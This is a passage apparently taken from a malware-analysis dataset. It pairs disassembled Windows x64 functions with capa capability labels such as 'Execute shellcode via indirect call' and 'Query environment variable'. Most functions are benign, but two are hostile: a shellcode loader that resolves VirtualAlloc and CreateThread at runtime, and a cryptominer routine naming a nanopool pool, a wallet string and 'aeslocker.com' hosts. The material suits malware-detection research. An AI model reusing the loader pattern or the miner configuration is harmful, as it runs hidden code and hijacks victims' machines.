joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007510
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
push rbp
sub rsp, 0x68
mov rax, qword [0x180034a30]
xor ebx, ebx
mov qword [rsp + 0x98], rsi
xor esi, esi
mov qword [rsp + 0x60], rdi
xor edi, edi
mov qword [rsp + 0x58], r14
xor r14d, r14d
movups xmm0, xmmword [rax + 0x48]
mov edx, dword [rax + 0x58]
psrldq xmm0, 8
movq rax, xmm0
shr rax, 0x20
test eax, eax
je 0x18000757a
test edx, edx
je 0x18000757a
mov rcx, rax
mov ebx, edx
mov rax, qword [0x1800353f8]
add rbx, qword [rcx + rax]
je 0x180007604
mov r14d, dword [rbx]
mov dword [rbx], 1
jmp 0x180007604
movsxd rax, dword [0x180035448]
cmp eax, 0xffffffff
je 0x180007604
mov rdi, qword [0x1800353f0]
mov rdx, rax
mov qword [rsp + 0x50], r15
add rdi, 0xd
lea r15, [0x180000000]
add rdi, qword [r15 + rax*8 + 0x24240]
je 0x1800075ff
add rdx, rdx
lea r9, [rsp + 0x88]
mov r8d, 0x40
mov rcx, rdi
mov rsi, qword [r15 + rdx*8 + 0x24130]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rsi
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.18000ea30
movsxd rdx, dword [0x180035448]
mov r8, rsi
add rdx, rdx
mov rcx, rdi
mov rdx, qword [r15 + rdx*8 + 0x24138]
call fcn.18000ea30
mov r15, qword [rsp + 0x50]
mov rcx, qword [0x1800353f8]
mov r9d, 1
mov r8d, dword [0x180035404]
mov edx, dword [0x180035400]
mov rax, qword [rcx]
mov r10, qword [rax + 0xb8]
lea rax, [0x180035440]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov eax, dword [0x180035408]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 1
call r10
mov ebp, eax
test rbx, rbx
je 0x18000766a
mov dword [rbx], r14d
jmp 0x1800076a3
test rdi, rdi
je 0x1800076a3
test rsi, rsi
je 0x1800076a3
mov r8, rsi
lea rdx, [rsp + 0x80]
mov rcx, rdi
call fcn.18000ea30
mov r8d, dword [rsp + 0x88]
lea r9, [rsp + 0x88]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r14, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x98]
test ebp, ebp
jns 0x1800076d0
mov edx, ebp
lea rcx, str.d3d9_shtex_init_copytex:_Failed_to_create_shared_texture
call fcn.180002480
xor al, al
add rsp, 0x68
pop rbp
pop rbx
ret
mov rcx, qword [rsp + 0x90]
lea r8, [0x180035418]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x90]
mov rcx, qword [rsp + 0x90]
mov ebx, eax
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
jns 0x180007715
mov edx, ebx
lea rcx, str.d3d9_shtex_init_copytex:_Failed_to_get_surface_level
call fcn.180002480
xor al, al
add rsp, 0x68
pop rbp
pop rbx
ret
mov al, 1
add rsp, 0x68
pop rbp
pop rbx
ret
Function at 0x180008dc0
Capabilities:
Print debug messages

Disassembly:
push rdi
sub rsp, 0x20
mov rcx, qword [0x180035648]
test rcx, rcx
je 0x180008dd8
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035650]
test rcx, rcx
je 0x180008dea
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035658]
test rcx, rcx
je 0x180008dfc
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035660]
test rcx, rcx
je 0x180008e0e
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035668]
test rcx, rcx
je 0x180008e20
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035670]
test rcx, rcx
je 0x180008e32
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035678]
test rcx, rcx
je 0x180008e44
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035680]
test rcx, rcx
je 0x180008e56
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035688]
test rcx, rcx
je 0x180008e68
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035690]
test rcx, rcx
je 0x180008e7a
mov rax, qword [rcx]
call qword [rax + 0x10]
call fcn.1800018c0
cmp byte [0x180035644], 0
lea rdi, [0x180035630]
je 0x180008ea3
mov rcx, qword [0x1800356a0]
test rcx, rcx
je 0x180008ee5
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x180008ee5
mov qword [rsp + 0x30], rbx
xor ebx, ebx
nop word [rax + rax]
mov rcx, qword [rdi + rbx*8 + 0x70]
test rcx, rcx
je 0x180008ed7
cmp byte [rdi + rbx + 0x8b], 0
je 0x180008ed1
mov rax, qword [rcx]
xor edx, edx
call qword [rax + 0x58]
mov rcx, qword [rdi + rbx*8 + 0x70]
mov rax, qword [rcx]
call qword [rax + 0x10]
inc rbx
cmp rbx, 3
jb 0x180008eb0
mov rbx, qword [rsp + 0x30]
xor edx, edx
mov r8d, 0xa0
mov rcx, rdi
call fcn.18000ee40
lea rcx, str.__________________d3d10_capture_freed_________________
add rsp, 0x20
pop rdi
jmp fcn.1800023b0
Function at 0x180009680
Capabilities:
Print debug messages

Disassembly:
push rdi
sub rsp, 0x20
mov rcx, qword [0x180035700]
test rcx, rcx
je 0x180009698
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035708]
test rcx, rcx
je 0x1800096aa
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035710]
test rcx, rcx
je 0x1800096bc
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035718]
test rcx, rcx
je 0x1800096ce
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035720]
test rcx, rcx
je 0x1800096e0
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035728]
test rcx, rcx
je 0x1800096f2
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035730]
test rcx, rcx
je 0x180009704
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035738]
test rcx, rcx
je 0x180009716
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035740]
test rcx, rcx
je 0x180009728
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x180035748]
test rcx, rcx
je 0x18000973a
mov rax, qword [rcx]
call qword [rax + 0x10]
call fcn.1800018c0
cmp byte [0x1800356fc], 0
lea rdi, [0x1800356e0]
je 0x180009763
mov rcx, qword [0x180035758]
test rcx, rcx
je 0x1800097b0
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x1800097b0
mov qword [rsp + 0x30], rbx
xor ebx, ebx
nop word [rax + rax]
mov rdx, qword [rdi + rbx*8 + 0x70]
test rdx, rdx
je 0x1800097a2
cmp byte [rdi + rbx + 0x8b], 0
je 0x180009799
mov rcx, qword [0x1800356e8]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x78]
mov rdx, qword [rdi + rbx*8 + 0x70]
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x10]
inc rbx
cmp rbx, 3
jb 0x180009770
mov rbx, qword [rsp + 0x30]
xor edx, edx
mov r8d, 0xa8
mov rcx, rdi
call fcn.18000ee40
lea rcx, str.__________________d3d11_capture_freed_________________
add rsp, 0x20
pop rdi
jmp fcn.1800023b0
Function at 0x18000cdc0
Capabilities:
Print debug messages

Disassembly:
push r14
push r15
sub rsp, 0x38
mov qword [rsp + 0x58], rbx
mov r14, rcx
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x30], rdi
call fcn.1800018c0
lea rcx, [r14 + 0x128]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rbp, qword [r14 + 0x120]
xor r15d, r15d
test rbp, rbp
je 0x18000ce80
mov qword [rsp + 0x68], rsi
mov esi, r15d
cmp dword [rbp + 0x24], r15d
jbe 0x18000ce72
nop dword [rax]
mov ebx, esi
shl rbx, 5
add rbx, qword [rbp + 0x18]
cmp qword [rbx], r15
je 0x18000ce6b
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x50], rax
cmp byte [rbx + 0x18], r15b
je 0x18000ce6b
mov rdi, qword [r14 + 0x10]
lea r8, [rsp + 0x50]
mov r9d, 1
mov qword [rsp + 0x20], 0xffffffffffffffff
mov edx, r9d
mov rcx, rdi
call qword [r14 + 0xf0]
lea r8, [rsp + 0x50]
mov edx, 1
mov rcx, rdi
call qword [r14 + 0xf8]
mov byte [rbx + 0x18], r15b
inc esi
cmp esi, dword [rbp + 0x24]
jb 0x18000ce10
mov rbp, qword [rbp + 8]
test rbp, rbp
jne 0x18000ce04
mov rsi, qword [rsp + 0x68]
lea rcx, [r14 + 0x128]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
lea rcx, [r14 + 0x110]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rbx, qword [r14 + 0x108]
mov rbp, qword [rsp + 0x60]
test rbx, rbx
je 0x18000cf0e
nop dword [rax + rax]
mov rdx, qword [rbx + 0x28]
mov rdi, qword [r14 + 0x10]
test rdx, rdx
je 0x18000cecb
mov r8, qword [r14 + 0x178]
mov rcx, rdi
call qword [r14 + 0x78]
mov rdx, qword [rbx + 0x38]
test rdx, rdx
je 0x18000cede
xor r8d, r8d
mov rcx, rdi
call qword [r14 + 0x50]
mov rcx, qword [rbx + 0x60]
test rcx, rcx
je 0x18000ceed
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbx + 0x50], 0xffffffffffffffff
mov qword [rbx + 0x60], r15
mov qword [rbx + 0x38], r15
mov qword [rbx + 0x28], r15
mov byte [rbx + 0x68], r15b
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x18000ceb0
lea rcx, [r14 + 0x110]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rcx, qword [r14 + 0x188]
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x58]
test rcx, rcx
je 0x18000cf3e
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [r14 + 0x188], r15
mov rcx, qword [r14 + 0x180]
test rcx, rcx
je 0x18000cf57
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [r14 + 0x180], r15
lea rcx, str.___________________vulkan_capture_freed___________________
mov qword [r14 + 0x118], r15
add rsp, 0x38
pop r15
pop r14
jmp fcn.1800023b0

Function at 0x18000d7c0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
test rcx, rcx
je 0x18000d7f4
mov rcx, qword [rcx]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x18000d7f4
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
setne al
add rsp, 0x38
ret
xor al, al
add rsp, 0x38
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rcx, str.Kernel32.dll
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [0x1400036b0], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualProtect
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [0x1400036b8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [0x1400036a8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.WaitForSingleObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [0x1400036a0], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlMoveMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 1
mov qword [0x140003698], rax
lea rax, [rsp + 0x30]
xor ecx, ecx
mov r8d, 0x3000
mov qword [rsp + 0x20], rax
lea r9d, [rdx + 0x3f]
call qword [0x1400036b0]
mov r8d, 1
lea rdx, [0x140002254]
mov rcx, rax
mov rbx, rax
call qword [0x140003698]
mov edx, 1
lea r9, [rsp + 0x30]
mov rcx, rbx
lea r8d, [rdx + 0x1f]
call qword [0x1400036b8]
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [0x1400036a8]
mov rcx, rax
mov edx, 0xffffffff
call qword [0x1400036a0]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001180
add rsp, 0x40
pop rbx
ret

Function at 0x140001a5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aa6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aa6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aa6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aa6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aa6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001aa8
xor al, al
add rsp, 0x28
ret
Function at 0x140001cb0
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
cmp dword [0x140068388], 0
jne 0x140001d02
lea rcx, str.HWLOC_HIDE_ERRORS
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x140001ced
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [0x14006838c], eax
mov dword [0x140068388], 1
add rsp, 0x28
ret
mov eax, dword [0x14006838c]
mov dword [0x140068388], 1
add rsp, 0x28
ret
mov eax, dword [0x14006838c]
add rsp, 0x28
ret
Function at 0x14000c360
Capabilities:
Query environment variable

Disassembly:
push rbx
push r14
sub rsp, 0x28
mov r14, rcx
mov ebx, 1
xor eax, eax
lock cmpxchg dword [0x1400683b4], ebx
je 0x14000c392
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
xor eax, eax
lock cmpxchg dword [0x1400683b4], ebx
jne 0x14000c380
mov eax, dword [0x14006839c]
mov ecx, eax
inc eax
mov qword [rsp + 0x50], rdi
mov dword [0x14006839c], eax
test ecx, ecx
jne 0x14000c544
mov qword [rsp + 0x40], rbp
lea rcx, str.HWLOC_COMPONENTS_VERBOSE
mov qword [rsp + 0x20], r15
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xor edi, edi
test rax, rax
je 0x14000c3d8
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
jmp 0x14000c3da
mov eax, edi
mov rcx, qword [0x140055b20]
lea r15, [0x140055b20]
mov dword [0x1400683b0], eax
mov edx, edi
mov qword [0x1400683a8], rdi
mov dword [0x140068398], edi
test rcx, rcx
je 0x14000c443
mov r8d, dword [0x140068398]
lea edx, [rdx + 1]
inc r8d
mov dword [0x140068398], r8d
cmp qword [r15 + rdx*8], rdi
jne 0x14000c402
test r8d, r8d
je 0x14000c443
mov ecx, r8d
mov edx, 8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rcx, qword [0x140055b20]
mov qword [0x1400683a8], rax
mov dword [0x140068398], edi
mov ebp, edi
test rcx, rcx
je 0x14000c538
mov qword [rsp + 0x48], rsi
mov rbx, r15
mov esi, dword [rcx + 0x1c]
test esi, esi
je 0x14000c47f
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, esi
lea rdx, str.Ignoring_static_component_with_invalid_flags__lx_n
mov rcx, rax
call fcn.140001b60
jmp 0x14000c520
mov rax, qword [rcx + 8]
test rax, rax
je 0x14000c4b8
xor ecx, ecx
call rax
test eax, eax
jns 0x14000c4b8
cmp dword [0x1400683b0], edi
je 0x14000c520
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Ignoring_static_component__failed_to_initialize_n
call fcn.140001b60
jmp 0x14000c520
mov rax, qword [rbx]
mov rdx, qword [rax + 0x10]
test rdx, rdx
je 0x14000c4de
mov ecx, dword [0x140068398]
mov rax, qword [0x1400683a8]
mov qword [rax + rcx*8], rdx
inc dword [0x140068398]
mov rax, qword [rbx]
mov ecx, dword [rax + 0x18]
test ecx, ecx
jne 0x14000c4f0
mov rcx, qword [rax + 0x20]
call fcn.14000c0b0
jmp 0x14000c520
cmp ecx, 1
jne 0x14000c520
cmp qword [0x140068438], rdi
mov rcx, qword [rax + 0x20]
jne 0x14000c50c
mov rax, qword [rcx]
mov qword [0x140068438], rax
cmp qword [0x140068428], rdi
jne 0x14000c520
mov rax, qword [rcx + 8]
mov qword [0x140068428], rax
inc ebp
mov rcx, qword [r15 + rbp*8]
lea rbx, [r15 + rbp*8]
test rcx, rcx
jne 0x14000c456
mov rsi, qword [rsp + 0x48]
mov r15, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x40]
jmp 0x14000c546
xor edi, edi
mov dword [0x1400683b4], edi
mov qword [r14 + 0x7e8], rdi
mov rdi, qword [rsp + 0x50]
add rsp, 0x28
pop r14
pop rbx
ret
Function at 0x14000f2c0
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [0x1400639d0]
mov eax, dword [rsp + 0x40]
cmp ecx, 1
jbe 0x14000f30c
mov rax, qword [0x1400683b8]
test rax, rax
je 0x14000f307
dec cx
call rax
movzx ecx, ax
mov eax, dword [0x1400639d0]
shl eax, 6
add eax, 0xffffffc0
add eax, ecx
jmp 0x14000f30c
mov eax, ecx
shl eax, 6
cmp eax, 1
jl 0x14000f321
mov rcx, qword [rbx + 0x7a8]
mov byte [rcx], 1
add rsp, 0x50
pop rbx
ret
mov eax, 1
add rsp, 0x50
pop rbx
ret

Function at 0x14000f3f0
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
cmp dword [0x1400639d8], 0
je 0x14000f442
lea rcx, str.HWLOC_XML_VERBOSE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x14000f42d
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [0x140068424], eax
mov dword [0x1400639d8], 0
add rsp, 0x28
ret
mov eax, dword [0x140068424]
mov dword [0x1400639d8], 0
add rsp, 0x28
ret
mov eax, dword [0x140068424]
add rsp, 0x28
ret

Function at 0x14000f450
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
cmp dword [0x1400639d4], 0
je 0x14000f4f5
lea rcx, str.HWLOC_LIBXML
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
jne 0x14000f485
lea rcx, str.HWLOC_LIBXML_IMPORT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x14000f4ac
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor ecx, ecx
mov dword [0x1400639d4], 0
test eax, eax
sete cl
mov dword [0x140068420], ecx
mov eax, ecx
add rsp, 0x28
ret
lea rcx, str.HWLOC_NO_LIBXML_IMPORT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
test rax, rax
je 0x14000f4de
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
mov dword [0x140068420], eax
mov dword [0x1400639d4], 0
add rsp, 0x28
ret
mov ecx, dword [0x140068420]
mov eax, ecx
mov dword [0x1400639d4], 0
add rsp, 0x28
ret
mov eax, dword [0x140068420]
add rsp, 0x28
ret
Function at 0x1400130c0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push r12
push r13
sub rsp, 0x78
mov rax, qword [0x140063828]
xor rax, rsp
mov qword [rsp + 0x50], rax
movzx eax, byte [rcx]
mov r13, r8
cmp al, byte [0x1400579f8]
mov r12, rdx
jne 0x1400130fb
movzx eax, byte [rcx + 1]
cmp al, byte [0x1400579f9]
jne 0x1400130fb
xor eax, eax
jmp 0x140013100
sbb eax, eax
or eax, 1
mov qword [rsp + 0xb8], rsi
lea rbx, str._dev_stdin
test eax, eax
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x68], r14
lea rdx, [0x140057a0c]
cmovne rbx, rcx
mov qword [rsp + 0x60], r15
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbp, rax
test rax, rax
je 0x14001321e
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov edi, 0x1000
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x14001316c
mov eax, 0x8000
test word [rsp + 0x26], ax
je 0x14001316c
mov eax, dword [rsp + 0x34]
inc eax
movsxd rdi, eax
lea rcx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140013215
mov r9, rbp
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r15, rax
mov byte [rax + rsi], 0
cmp rax, rdi
jne 0x1400131f3
nop dword [rax]
nop word [rax + rax]
add rdi, rdi
mov rcx, rsi
lea rdx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov r14, rax
test rax, rax
je 0x14001320c
mov rbx, rdi
lea rcx, [rax + r15]
shr rbx, 1
mov r9, rbp
mov r8, rbx
mov edx, 1
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r15, rax
mov byte [rsi + r15], 0
cmp rax, rbx
je 0x1400131b0
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rax, [r15 + 1]
mov qword [r12], rsi
mov qword [r13], rax
xor eax, eax
jmp 0x140013223
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, 0xffffffff
mov r15, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov rsi, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14004c1b0
add rsp, 0x78
pop r13
pop r12
pop rbp
pop rbx
ret
Function at 0x14001b7d0
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0xa0
mov qword [rax - 0x70], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov rbx, rcx
call fcn.14001b5d0
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rsp + 0x80], xmm0
movsd xmm1, qword [rax + 0x60]
movsd qword [rsp + 0x90], xmm1
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14001b190
nop
mov rcx, qword [rsp + 0x20]
xor ebp, ebp
mov edi, ebp
mov r8, qword [rsp + 0x28]
cmp rcx, r8
je 0x14001b884
mov edx, ebp
nop word [rax + rax]
mov rax, qword [rcx]
shr rax, 0x20
mov rdi, qword [rcx + 0x10]
test eax, eax
cmove rdi, rbp
cmp rdx, rdi
cmovae rdi, rdx
add rcx, 0x20
mov rdx, rdi
cmp rcx, r8
jne 0x14001b860
shr rdi, 0xa
mov rcx, rbx
call fcn.14001b390
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x60]
mov dword [rbx + 4], eax
mov byte [rbx + 9], bpl
mov ecx, 8
call fcn.14004c110
mov rsi, rax
mov dword [rax], ebp
mov dword [rax + 4], 1
mov ecx, ebp
mov edx, ebp
cmp dword [rbx + 4], ecx
jbe 0x14001b90a
mov r8d, dword [rbx]
test r8d, r8d
jle 0x14001b90a
test edx, edx
jne 0x14001b8d5
mov dword [rsi], ecx
jmp 0x14001b8dd
cmp edx, 1
jne 0x14001b8dd
mov dword [rsi + 4], ecx
cmp byte [rbx + 9], bpl
je 0x14001b8f0
cmp byte [rbx + 8], bpl
jne 0x14001b8f0
inc ecx
mov eax, dword [rbx + 4]
jmp 0x14001b8ff
add ecx, 2
mov eax, dword [rbx + 4]
cmp ecx, eax
jb 0x14001b8ff
mov ecx, 1
sub dword [rbx], edi
mov r8d, dword [rbx]
inc edx
cmp edx, eax
jb 0x14001b8c8
cmp qword [0x140064288], rbp
jne 0x14001b93c
mov ecx, 1
call fcn.14004c0cc
mov qword [rsp + 0xb0], rax
test rax, rax
je 0x14001b935
mov rcx, rax
call fcn.14001d120
mov rbp, rax
mov qword [0x140064288], rbp
mov qword [0x140064290], rsi
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x14001b986
mov rdx, qword [rsp + 0x30]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b981
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b981
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004c108
mov al, 1
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14001c900
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x430
mov rax, qword [0x140063828]
xor rax, rsp
mov qword [rsp + 0x420], rax
lea rdx, str.main.aeslocker.com
mov rdi, r8
mov rsi, rcx
call fcn.14001cae0
mov rbx, rax
test rax, rax
jne 0x14001c9b7
call fcn.14001b6d0
mov rcx, rax
lea rdx, str.Locker_Connection_Failed_n
call fcn.14001dce0
lea rdx, str.sub.aeslocker.com
mov rcx, rsi
call fcn.14001cae0
mov rbx, rax
test rax, rax
jne 0x14001c9b7
call fcn.14001b6d0
mov rcx, rax
lea rdx, str.Locker_Sub_Connection_Failed_n
call fcn.14001dce0
lea ecx, [rbx + 0x18]
call fcn.14004c0cc
mov rbx, rax
test rax, rax
je 0x14001c99c
xor eax, eax
mov qword [rbx], rax
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rax
jmp 0x14001c99e
xor ebx, ebx
lea rax, str.zeph_eu1.nanopool.org:10900
mov byte [rbx + 0x10], 0
mov qword [rbx + 8], rax
lea rax, str.ZEPHYR3D8pN1tYhZexvpf8Dy7CJpXHYwiVUSvMmFTJJ5YBGPMfG723nEpdzj3aL2qBCFDKKiqJ6hzKUV6brSjGqg64fnSV7m9DC4F
mov qword [rbx], rax
call fcn.14001b6d0
mov rcx, rax
lea rdx, str.Remove_old_clutter_n
call fcn.14001dce0
lea rdx, [rsp + 0x20]
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, [rsp + 0x20]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x14001c9e3
movups xmm0, xmmword [str.Locker_setting.ini]
mov eax, dword [0x140051270]
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
lea rcx, str.Dev_Section
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov rax, qword [rbx + 8]
lea rcx, [0x140051080]
mov qword [rdi], rax
xorps xmm0, xmm0
mov rax, qword [rbx]
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], rcx
movzx eax, byte [rbx + 0x10]
mov byte [rdi + 0x20], al
mov eax, 1
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x30], rax
mov byte [rdi + 0x21], 0
mov rdx, qword [rsi + 8]
mov rcx, qword [rsi]
sub rcx, rdx
je 0x14001ca90
movsd xmm2, qword [0x140051320]
sub rax, rdx
